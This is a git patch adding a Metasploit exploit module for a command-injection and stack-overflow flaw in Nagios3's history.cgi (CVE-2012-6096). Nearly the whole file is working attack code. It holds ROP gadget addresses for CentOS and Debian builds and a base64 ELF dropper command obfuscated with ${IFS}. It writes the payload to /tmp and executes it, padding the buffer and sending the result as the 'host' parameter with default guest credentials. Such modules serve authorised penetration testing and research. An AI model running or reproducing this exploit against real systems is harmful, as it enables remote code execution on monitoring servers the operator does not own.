From 18f81fd6f47e9b03932e85846e614f62db61905f Mon Sep 17 00:00:00 2001 From: Jose Selvi Date: Tue, 15 Jan 2013 15:32:32 +0100 Subject: [PATCH] Nagios3 history.cgi exploit --- .../unix/webapp/nagios3_history_cgi.rb | 211 ++++++++++++++++++ 1 file changed, 211 insertions(+) create mode 100644 modules/exploits/unix/webapp/nagios3_history_cgi.rb diff --git a/modules/exploits/unix/webapp/nagios3_history_cgi.rb b/modules/exploits/unix/webapp/nagios3_history_cgi.rb new file mode 100644 index 0000000000..c8c0cfb39f --- /dev/null +++ b/modules/exploits/unix/webapp/nagios3_history_cgi.rb @@ -0,0 +1,211 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Nagios3 history.cgi Host Command Execution', + 'Description' => %q{ + This module abuses a command injection vulnerability in the + Nagios3 history.cgi script. + }, + 'Author' => [ + 'Anonymous ', # Original finding + 'blasty ', # First working exploit + 'Jose Selvi ' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2012-6096' ], + [ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2012-December/089125.html' ], + [ 'URL', 'http://pastebin.com/FJUNyTaj' ], + ], + 'Platform' => ['unix', 'linux'], + 'Arch' => [ ARCH_X86, ARCH_X86_64 ], + 'Privileged' => false, + 'Payload' => + { + 'Space' => 200, # Due to a system() parameter length limitation + 'BadChars' => '', # It'll be base64 encoded + }, + 'Targets' => + [ + [ 'Automatic Target', { 'auto' => true }], + # NOTE: All addresses are from the history.cgi binary + [ 'CentOS (nagios-3.4.3-1.el6.i686.rpm)', + { + 'BannerRE' => 'CentOS', + 'VersionRE' => '3.4.3', + 'Arch' => ARCH_X86, + 'Offset' => 0xc43, + 'RopStack' => + [ + 0x0804c260, # unescape_cgi_input() + 0x08048f04, # pop, ret + 0x08079b60, # buffer addr + 0x08048bb0, # system() + 0x08048e70, # exit() + 0x08079b60 # buffer addr + ] + } + ], + [ 'Debian (nagios3_3.0.6-4~lenny2_i386.deb)', # From original exploit. Not tested. + { + 'BannerRE' => 'Debian', + 'VersionRE' => '3.3.0', + 'Arch' => ARCH_X86, + 'Offset' => 0xc37, + 'RopStack' => + [ + 0x0804b620, # unescape_cgi_input() + 0x08048fe4, # pop, ret + 0x080727a0, # buffer addr + 0x08048c7c, # system() + 0xdeafbabe, # if should be exit() but it's not + 0x080727a0 # buffer addr + ] + } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Dec 09 2012')) + + register_options( + [ + OptString.new('URI', [true, "The full URI path to history.cgi", "/nagios3/cgi-bin/history.cgi"]), + OptString.new('USER', [false, "The username to authenticate with", "guest"]), + OptString.new('PASS', [false, "The password to authenticate with", "guest"]), + ], self.class) + end + + def detect_version(uri) + # Send request + res = send_request_raw({ + 'uri' => uri, + 'method' => 'GET', + }, 90) + + # Detection unknown if error + if res.nil? + print_error("Unable to get a response from the server") + return nil, nil + end + + # Extract banner from response + banner = res.headers['Server'] + + # Version undetected by now - String = "Nagios® Core™ 3.4.1 -" + version = nil + + return version, banner + end + + def exploit + uri = normalize_uri(datastore['URI']) + + # Automatic Targeting + mytarget = nil + if (target['auto']) + print_status("Automatically detecting the target...") + + # Get version information + version, banner = detect_version(uri) + if not banner.nil? + print_status("Web Server banner: #{banner}") + end + if not version.nil? + print_status("Nagios version detected: #{version}") + end + + # No banner, no target + if banner.nil? + fail_with(Exploit::Failure::NoTarget, "No matching target") + end + + # Try regex for each target + self.targets.each do |t| + if t['BannerRE'].nil? # It doesn't exist in Auto Target + next + end + regexp = Regexp.escape(t['BannerRE']) + if ( banner =~ /#{regexp}/ ) then + mytarget = t + break + end + end + + if mytarget.nil? + fail_with(Exploit::Failure::NoTarget, "No matching target") + end + else + mytarget = target + end + + print_status("Selected Target: #{mytarget.name}") + print_status("Sending request to http://#{rhost}:#{rport}#{uri}") + + # Generate a payload ELF to execute + elfbin = generate_payload_exe + elfb64 = Rex::Text.encode_base64(elfbin) + + # Generate random filename + tempfile = '/tmp/' + rand_text_alphanumeric(10) + + # Generate command-line execution + cmd = 'echo ' + elfb64 + '|base64 -d|tee ' + tempfile + ';chmod 700 ' + tempfile + ';rm -rf ' + tempfile + '|' + tempfile + ';' + host_value = cmd.gsub!(' ', '${IFS}') + + # Generate 'host' parameter value + padding_size = mytarget['Offset'] - host_value.length + host_value << rand_text_alphanumeric( padding_size ) + + # Generate ROP + host_value << mytarget['RopStack'].pack('V*') + + # Send exploit + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => uri, + 'headers' => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") }, + 'vars_get' => + { + 'host' => host_value + } + }, 10) + + if(not res) + if session_created? + print_status("Session created, enjoy!") + else + print_error("No response from the server") + end + return + end + + if(res.code == 401) + print_error("Please specify correct values for USER and PASS") + return + end + + if(res.code == 404) + print_error("Please specify the correct path to history.cgi in the URI parameter") + return + end + + print_status("Unknown response") + end + +end